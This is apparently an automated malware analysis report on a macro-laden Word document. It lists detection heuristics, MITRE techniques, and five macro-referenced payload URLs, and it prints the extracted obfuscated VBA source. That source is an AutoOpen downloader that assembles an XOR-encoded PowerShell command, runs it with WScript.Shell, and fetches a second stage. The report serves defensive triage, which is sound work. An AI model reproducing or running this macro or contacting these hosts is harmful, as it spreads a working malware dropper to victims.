MALICIOUS
290
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059 Command and Scripting Interpreter
The sample contains VBA macros, including an AutoOpen macro, which is a common technique for executing malicious code upon opening a document. Critical heuristics indicate the use of WScript.Shell and Shell() calls, suggesting the macro attempts to run external commands or scripts. The presence of these elements strongly indicates the document is designed to download and execute a secondary payload.
Heuristics 10
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VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
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WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
WYWAYv = LNvrY + aQcivZ / 4824 * qzbMRi - ZCRjw - wzHKRV - wUpCf * RwLHAE + OfZvnH - 33186 * mKiIbJ + RUXdEk sPsujKolCAi = LtktUAj + CreateObject("Wscript.shell").Run(jjHMZjzA + Chr(vbKeyP) + WijXWBjM + Chr(vbKeyO) + YIEtqOqaSt + hcmrCR, 808908568 - 808908568) CVhMqJ = KhFDj + IihczH / 53402 * Twnbrz - PhsoZW - dJzNW - pojImV * pPIbNM + iYtlz - 22512 * vAMOKZ + BXdlkm -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
WYWAYv = LNvrY + aQcivZ / 4824 * qzbMRi - ZCRjw - wzHKRV - wUpCf * RwLHAE + OfZvnH - 33186 * mKiIbJ + RUXdEk sPsujKolCAi = LtktUAj + CreateObject("Wscript.shell").Run(jjHMZjzA + Chr(vbKeyP) + WijXWBjM + Chr(vbKeyO) + YIEtqOqaSt + hcmrCR, 808908568 - 808908568) CVhMqJ = KhFDj + IihczH / 53402 * Twnbrz - PhsoZW - dJzNW - pojImV * pPIbNM + iYtlz - 22512 * vAMOKZ + BXdlkm -
Payload URL decoded from an encoded PowerShell loader (5 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URLA VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "hRHITSH" Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.oglipus.com/pnKNiA8/ Referenced by macro
- http://shunji.org/wordpress/dnaU/Referenced by macro
- http://www.churchneworleans.org/Ih8AxCj/Referenced by macro
- http://johnsonlam.com/XVltc/Referenced by macro
- http://pulse.bg/mLXK5j/Referenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 11805 bytes |
SHA-256: f4fc3b6375fcab774f629ca8bbc5659580a76c095d5e737a13e87f4a664641c0 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
226 of 373 identifiers look randomly generated (e.g. 'jQUDmYurPwP') — consistent with name-mangling obfuscation.
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "wzNHUfCOAlhazB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "hRHITSH"
Sub AutoOpen()
On Error Resume Next
NFKHf = TqdSCW + JqTaji / 46233 * XGBFhw - YEOLYU - oVHwC - pODpW * HZGzAK + QqwJCw - 70644 * SZDrw + DCwSl
wbjUM = JWzmzF + vzZOzL / 41276 * dhDFiw - pHRFMY - jzpNTD - QctzDP * wdzDq + UtfOdk - 60143 * sVrsWR + aZksS
mTzMh = PJhjj + fPUdu / 6118 * Xddtuz - wASdmX - HXXOi - twuIjK * NwOVYr + KiJaCN - 95045 * OqDzL + YrwPL
UNzjBo = OApULn + jLuBY / 57202 * bbXOcz - trRWk - uHHwa - aWiiA * qAciDm + tdtma - 35088 * qiVIX + aiRcEz
OkFWnX = LIDnQ + VSiPL / 57658 * qkIzI - pwpSY - EQXdfr - JzsEHJ * noGUH + OVFdbH - 27371 * iYVpiM + uzowX
LFIDLi = qWSEO + iEPpM / 8806 * RoXoz - XGEXHj - diLhu - TuuBzU * qUTnMm + lOXhT - 7608 * LzlwK + zXvsi
waRWzLmZG (IdfIaw + ZhYOdwNici + ofYjaiBscMC)
sStNr = jcDtso + RvMBc / 15156 * iVwYvX - sbOdD - uKBZfC - UEJWz * XaHAKo + HtXTU - 35826 * fqApQ + AUHtmV
wPjzrE = zUMSs + nmrib / 63816 * jCMfR - nZZiUP - uWKtKi - QVKMv * aujlSD + SttCE - 62120 * QsZms + NLQcz
FDbstW = lzjKnf + rfBVji / 3728 * vBZKBE - iziGL - qBAsD - mtwKVs * jzQHX + ZcHaT - 66895 * fZOhj + TcBiAc
End Sub
Function waRWzLmZG(YIEtqOqaSt)
On Error Resume Next
bHjNj = vzaDlA + jhVdbu / 17926 * QRSnYG - EWdtn - tlrbk - kUQsW * NtNNwi + XiKqR - 49028 * hltDa + MoqviB
JEPlYi = fERjzC + jWjvzV / 42794 * jVKiNW - lZmrUY - bzTsH - KHNaVj * EnwiGU + UtbpRM - 61763 * rwIhI + vjcFNj
FVZLbZ = AukaD + jjAniF / 25074 * WdDUGK - DTNOoO - mULrv - TlFZl * FTTTLh + rirWq - 40822 * ZzaXM + bUujb
QlvwQY = bojjDA + NwSqc / 92768 * WCESzw - FhQkcA - iPzOEn - EmardX * IrAnvT + iqfRcq - 41168 * SzbAW + jSbXIj
VJZhoM = NuRiz + QZMWKE / 60743 * KLuDS - frkWAP - JPVGSE - YPNdi * MrHATz + ULzfd - 42795 * sVKui + rHJqQr
WYWAYv = LNvrY + aQcivZ / 4824 * qzbMRi - ZCRjw - wzHKRV - wUpCf * RwLHAE + OfZvnH - 33186 * mKiIbJ + RUXdEk
sPsujKolCAi = LtktUAj + CreateObject("Wscript.shell").Run(jjHMZjzA + Chr(vbKeyP) + WijXWBjM + Chr(vbKeyO) + YIEtqOqaSt + hcmrCR, 808908568 - 808908568)
CVhMqJ = KhFDj + IihczH / 53402 * Twnbrz - PhsoZW - dJzNW - pojImV * pPIbNM + iYtlz - 22512 * vAMOKZ + BXdlkm
DjQXV = XTPav + bdIUK / 84601 * jKzAL - AXLwz - cXpDnj - pizzIq * MSSINB + wqMEj - 9508 * VlLWR + TwlaUo
QdbVY = zpQwj + tAZUzc / 94717 * zTbQdB - ZYZPmk - SMDvEa - RCDuT * iKwdvL + UzCLs - 44988 * YQrju + RhMQBX
End Function
Function IdfIaw()
On Error Resume Next
AjHZwH = qwfGct + iKCHi * (90805 + TbrLU + (17048 * BoHza))
GfiALb = ficsSz + DjiYu * (24121 + jEQNd + (96780 * oJYHCu))
CcBwH = opzzt + qASGi * (8998 + oZaSm + (64420 * wqUEkQ))
huUXBGYdE = "wers" + "hell " + " " + " " + " " + Chr(40) + "[cHar[]]" + Chr(40)
FBHjc = zXrFRU + HkWCp * (5432 + FnbKOO + (57685 * zVvOc))
lwKaG = OQiVA + ZVOUR * (28725 + czRZzR + (26446 * kZVKD))
rVlLci = ZoFGJw + IAcDjj * (98801 + TZNIs + (14916 * rMKzah))
nsOLDR = "26,107 ," + "116,123," + " 3,80" + " ,91 , 73" + " , 19 ,8" + "1, 9" + "2 ,84" + " , 91 "
cIpjwD = MSnVY + kwSiW * (86033 + CMwTp + (57409 * zswMVH))
XUNzk = HGGZnU + tutfa * (64678 + zQJVq + (35347 * MUWbz))
sMcFi = zSvGZj + XCDzQ * (73203 + zKHKrI + (34436 * umjzoD))
uvNiDXHIBdm = ",93,74" + ",30,112, " + "91 ," + "74 , 16," + " 105, " + "91 ,92 ,1" + "25, 82, 8" + "7, 9" + "1,80 ," + " 74 ,5 , " + "26 , "
jRoAn = oCKkpV + FIVFpL * (33677 + FSNVUJ + (46824 * WbsRJ))
mKQwD = IzaBn + hlRiI * (56031 + jbzaiT + (50939 * tnIzD))
kWKprH = ZIrLi + cmrsTO * (61615 + umjlid + (88348 * JREjk))
PwpSNdpK = "105,115, " + "106,3," + " 25, 86" + ",74, 74" + " ,78 , 4" + " , 17 ,1" + "7 , 73," + " 73 ,"
OGoRVi = SHPwV + dCvpiX * (17132 + jbDMdM + (22681 * aHwNfX))
DCsBWb = UpJfQL + cVMbH * (59474 + lEsRuU + (64816 * zISGR))
nqWlNE = NDwwA + zmmlXs * (11093 + zAjcH + (94815 * sANJu))
pnuOuTOqrmw = " 73 ,16" + ", 81" + ", 89" + ",82,87, 7" + "8 , 75," + "77,16,9" + "3 , 81, " + "83 ," + "17, "
pfppu = YXBuU + kkVKXu * (25323 + ZppnJ + (11548 * uVDkm))
NIHwv = ShuwGO + WNrhdS * (93840 + zzpCjo + (35156 * BwJhoX))
NObRui = tiZaju + oZRqW * (31134 + RuOoA + (7049 * wzjtzk))
jQUDmYurPwP = "78 , 8" + "0 ,117 " + ", 112,8" + "7 , 127" + ", 6 ," + " 17 ,126"
SBBCES = GdFFX + NYrrRG * (37723 + TNdtal + (91880 * shjJZV))
QnSzC = QJjdc + ZGobsR * (64921 + oYJijJ + (41478 * YWNBrA))
EzIQlD = tQzFW + EFqsrW * (68854 + inRtpj + (70557 * PboZf))
aDjVLmNk = ", 86 " + ",74 ,74,7" + "8, 4,17 " + ", 17,77" + " , 8" + "6,75 ," + "80 ,84 ,"
cjAwvk = sjanqj + fVJUQ * (65956 + LrXvW + (36939 * BVRwzU))
GsuazO = HqFzzR + tSTJzK * (31158 + cAZRzr + (21114 * rqMpZ))
OuRUnE = SwWBA + DznCJ * (25279 + PtBhR + (89818 * hOIncH))
KXbEq = "87,16, 81" + ",76," + " 89 , 17" + " , 7" + "3,81," + " 76,90" + " , 7"
DZscW = rKECP + jHMDnC * (54843 + NUsjD + (86491 * TEnjZ))
qAXvam = VEpzS + KoVKV * (71049 + vCijIZ + (57567 * YGQSq))
tHoIN = apIit + iiTwu * (35037 + ZwnRrm + (856 * zzwZj))
UiNVHndAwXw = "8 , " + "76,91," + " 77, " + "77,17" + ",90 ,80 " + ", 95 , 1" + "07, 1" + "7,126"
QRhjBI = YGtEm + qviaLw * (39254 + HFqzW + (24503 * bsKFN))
SQmRsJ = BqtNEu + MQWma * (23265 + JLrjf + (91657 * wOjwZ))
YiwJT = qPQMds + CuLVXf * (1957 + JFviMO + (31181 * cJOis))
oPnCdvD = " ,86" + " ,74 , " + "74,78" + ",4 , 17" + " ,17 , 7" + "3 ,73,73" + ", 16 ,93" + " ,86, 75" + " ,76," + " 93 , 8" + "6,80,91" + ", 73 ,81"
iTNTmV = swOqDs + lsMTY * (46227 + ZBaGa + (51220 * oCOOj))
MrIDs = iQGhrJ + zSkwv * (10979 + XISmM + (22962 * lEwzcT))
GtjIat = zSUizE + sEFSIP * (88798 + ZVrjl + (93760 * KhPpu))
azcAT = ",76 , " + "82 , 91," + "95, " + "80 , " + "77, 16" + ",81 ,76,8" + "9,17 ,11" + "9, 8" + "6,6 " + ",127"
IdfIaw = huUXBGYdE + nsOLDR + uvNiDXHIBdm + PwpSNdpK + pnuOuTOqrmw + jQUDmYurPwP + aDjVLmNk + KXbEq + UiNVHndAwXw + oPnCdvD + azcAT
ZAnVMi = qwDPH + tAqjT * (8193 + DUORtH + (86959 * ImTHKm))
DSzvl = NaRcZ + DMUAw * (71753 + nElWb + (9165 * oiLkHw))
awYjXS = quwpT + pYnmWW * (95980 + OSvVrA + (62916 * OjVdod))
End Function
Function ZhYOdwNici()
On Error Resume Next
wQYSA = KphHQv + uZNkw * (62233 + icNjS + (60891 * fPUqz))
IrVwE = AEcOOa + RkpTk * (59749 + RmTDs + (99961 * miZMR))
iGCDP = AfGBNz + NOapw * (68966 + quWXS + (10560 * cOZDB))
RuapjM = " , 70 ," + " 125,8" + "4 ,17" + " , 126 ,8" + "6,74" + ",74,78 ,4" + " ,17 ," + "17, 84" + " ,81,86, " + "80, 77," + "81,80 "
JWKilD = idLkG + mmGLp * (55717 + Gaokil + (19707 * YQjwLD))
qEsDtj = NjlROS + WCkaY * (81735 + iZDAtb + (11023 * imuAq))
CTljwY = EzNWr + CNwXn * (24085 + IioDz + (9760 * BFwWOc))
vwkfJuKKch = ", 82 ,95," + " 83 ,16,9" + "3 , 8" + "1 ,83" + ",17,10" + "2,104 ," + " 82, 74, " + "93 ,1"
Tjzqb = Wdaqd + PDwhP * (14529 + cnYiij + (84209 * LzBqIP))
iiwhLu = fEwZwp + DXjPa * (98397 + vFRGkU + (21075 * ZAVlaU))
lhwtl = TjIlC + HbRai * (31739 + mZfab + (51322 * AfzEMO))
bRqrBF = "7 ,12" + "6 ,86," + " 74,74," + "78,4 , " + "17, 17,7" + "8, 75,82" + " , 77"
jmBSj = acYIV + uDCHZm * (40969 + huFHV + (35516 * HoiEY))
WYpQHB = jKAXF + fdzXXR * (83472 + VohuzO + (17769 * npDwt))
iNrSl = mWthB + mbJQKn * (63880 + AjIVKn + (87261 * XKTIA))
RWmljW = ",91 ,1" + "6 ,92 , 8" + "9, 17 , " + "83 , 114 " + ", 102 ,11" + "7, 1" + "1, 84" + ", 17,25 ," + "16 ,109,7"
wkjFj = Jwuzs + biJXf * (31290 + AXuFV + (15594 * ZYzjOt))
fcZjFH = jCoJc + LLEzfD * (86968 + jEiKzi + (98852 * wLkzuw))
jnZJG = VGwtU + OTADKz * (53864 + YuZHZJ + (97747 * cYdtO))
VltdS = "8 ,82 , " + "87 , 7" + "4,22, 25" + " ,126, 2" + "5 , 23 ," + "5 ,26" + " ,118, 87" + ", 111,30" + ", 3 ,30 ," + " 25, 1" + "3, 11,"
VLFum = NziRdv + QwIazS * (467 + oOSkzS + (34386 * XQaXIw))
zQNuia = HidXh + UwdaO * (44817 + znKoPv + (39833 * BCXcS))
KJmYR = cGnGa + MIZmAJ * (72134 + qJFZi + (73737 * BGbGv))
nSYED = "11,25, 5 " + ", 26, 90" + ",95, 106," + " 3, " + "26,91" + " ,80, 72" + ", 4,74 , " + "91 , 83 " + ",78 ,21 " + ", 25, 98," + " 25, 21 " + ", 26,11"
uKorC = PEqADO + jMlOCO * (82726 + TAENt + (60772 * aAMAi))
Swlvw = WNAJB + ADtQr * (48915 + EOaJkd + (16256 * NdpoD))
JQNzTE = UnTqC + tcJJJ * (74169 + aGroB + (34035 * vJjKVw))
TIwrK = "8, 87" + ", 111 , " + "21, 25" + " , 16 ," + "91, 70 ," + "91 , 25,5"
rmfRYV = jbGSib + oDTjB * (90343 + CYZwB + (27636 * LDJUD))
BpdskR = rfkWT + aGFPdU * (6475 + oNGSX + (13375 * XXzziB))
zZbwk = RXoCfL + AGnjAA * (15351 + bXaNK + (69674 * HnYoo))
hiOsXNnWLaq = " ,88 , 8" + "1, 76" + " , 91, 9" + "5, 93 ,86" + ",22, " + "26,118," + " 84 "
Hfohk = BRZDnL + iQkRz * (57476 + AXCBiZ + (84100 * QAiqWb))
bzzQZG = BUmCrB + XWbKv * (23300 + cnwKjE + (2663 * Yzoro))
kRjEmF = iOjip + tiDfbO * (18841 + MAGpCt + (55052 * pNzMOm))
zzawRHWJOTX = ",121,30 " + ",87 ," + " 80 ,30" + " , 2" + "6 ,105 " + ", 115,10" + "6, 23 ,"
uGJGN = YSbtKI + URNcfq * (47043 + aPjLt + (74143 * SjcfG))
JZSIvD = hivslh + XzWhXO * (74241 + qZvUI + (99642 * sQiBU))
svUjn = jvUrZL + BSMvI * (85400 + pitNbv + (75988 * miNjNP))
pZwKYz = "69 ,74" + ", 76 ," + "71,69" + " ,26 , " + "107,116 ," + " 123,16" + " ,122 ," + " 81 " + ", 73 " + ",80 , "
ZhYOdwNici = RuapjM + vwkfJuKKch + bRqrBF + RWmljW + VltdS + nSYED + TIwrK + hiOsXNnWLaq + zzawRHWJOTX + pZwKYz
EBwjcC = WhVJw + hfVWJh * (41985 + CHHrz + (4542 * piqww))
OKwYP = RMLrRw + AHIraj * (87918 + Cuqrf + (480 * jDiLA))
TUZztw = zqPqt + CBjmQ * (34556 + ALQGj + (69485 * BfINGw))
End Function
Function ofYjaiBscMC()
On Error Resume Next
hmjtj = oXLiAw + wNAQO * (87345 + cHETRJ + (22022 * SiCju))
UPztji = czlFh + mnirw * (24962 + kZiQc + (43075 * lFdcQ))
adwDX = LkzHSN + wYPnqE * (43883 + MvjjRN + (18269 * XWIpdn))
RMtFX = "82 , " + "81 ," + " 95,90, 1" + "20 ,87 ," + "82 ,91 " + ", 22,26, " + "118,8" + "4 ,121 "
pbUTB = lSPDs + zWRnYt * (19199 + iRWGR + (3688 * blJYG))
PaLVl = iadRd + nJFFi * (70036 + TYbYFO + (2375 * HJjGim))
jwGSn = fnEAs + irCWCZ * (55551 + koCGHj + (41542 * RwKwm))
UoAYhmdfnVC = ", 18," + " 30 ,26," + "90, 9" + "5 , " + "106,23 " + ", 5 " + ", 109," + "74,95," + "76 ,"
aJzQz = nlWXM + WHEnij * (3736 + jvuAKD + (5585 * VIpuu))
RsWlc = zwSit + NNRiR * (58223 + npfPzF + (88176 * iQNiS))
OpMQsE = AicPGk + orrrLz * (14587 + mcXji + (73132 * iFwan))
SrcUR = " 74 , " + "19,110," + "76,81" + " , 93 , " + "91, " + "77 ," + "77 ,3"
YFOZZA = HCAsUD + mYWXVi * (93515 + jsMWJ + (60441 * XTjzrQ))
cRlwUK = cfLiHi + jZFJB * (40140 + VNDqH + (15975 * jLXLOA))
ElZKmS = MArCz + oubopw * (31058 + EhFNC + (10745 * ToSthN))
CsFoIkQ = "0 ,26" + " , 90,95" + ", 106, " + "5, 92 ,7" + "6 , 91," + " 95," + "85, 5" + " , 67 , " + "93,95 , 7" + "4,93 " + ", 86 ,69"
nfwPCP = MLoKS + mkjVRk * (79789 + DTzkNK + (85905 * YJPcJ))
vpatA = sVRCjP + jEwbz * (45931 + jLBfpF + (31989 * nivpjf))
uvXjsH = CuAzAJ + ciREi * (44279 + nvEujs + (67075 * HtiduK))
YkDrZGUG = " , 67" + " ,67" + Chr(41) + " |" + "fOREA" + "cH {[" + "cHar]" + Chr(40) + " $_-" + "bxOr '" + "0x3e'" + Chr(41)
DOfYB = HirFH + KvdlCI * (10373 + ATpLO + (98091 * mGPWO))
bfDYGV = fQNpZB + rdIjV * (79284 + AkYUJ + (5447 * UXbitu))
QaMvnf = jFzlNa + JwjBZ * (87074 + viEwSj + (21398 * mHjGob))
LTzjPu = "}" + Chr(41) + "-j" + "oIN ''" + "| iEx" + ""
ofYjaiBscMC = RMtFX + UoAYhmdfnVC + SrcUR + CsFoIkQ + YkDrZGUG + LTzjPu
vkhKd = iZiwb + LZsjT * (2075 + UwIzV + (96217 * rSsFG))
zGCwTP = JQEVz + MzTtaM * (11035 + GGnkMM + (25694 * Lhcqp))
FWtME = zErmzi + QXZRtA * (13908 + zPNHCC + (68395 * XsJAo))
End Function
Attribute VB_Name = "fQioWOnAYRaMV"
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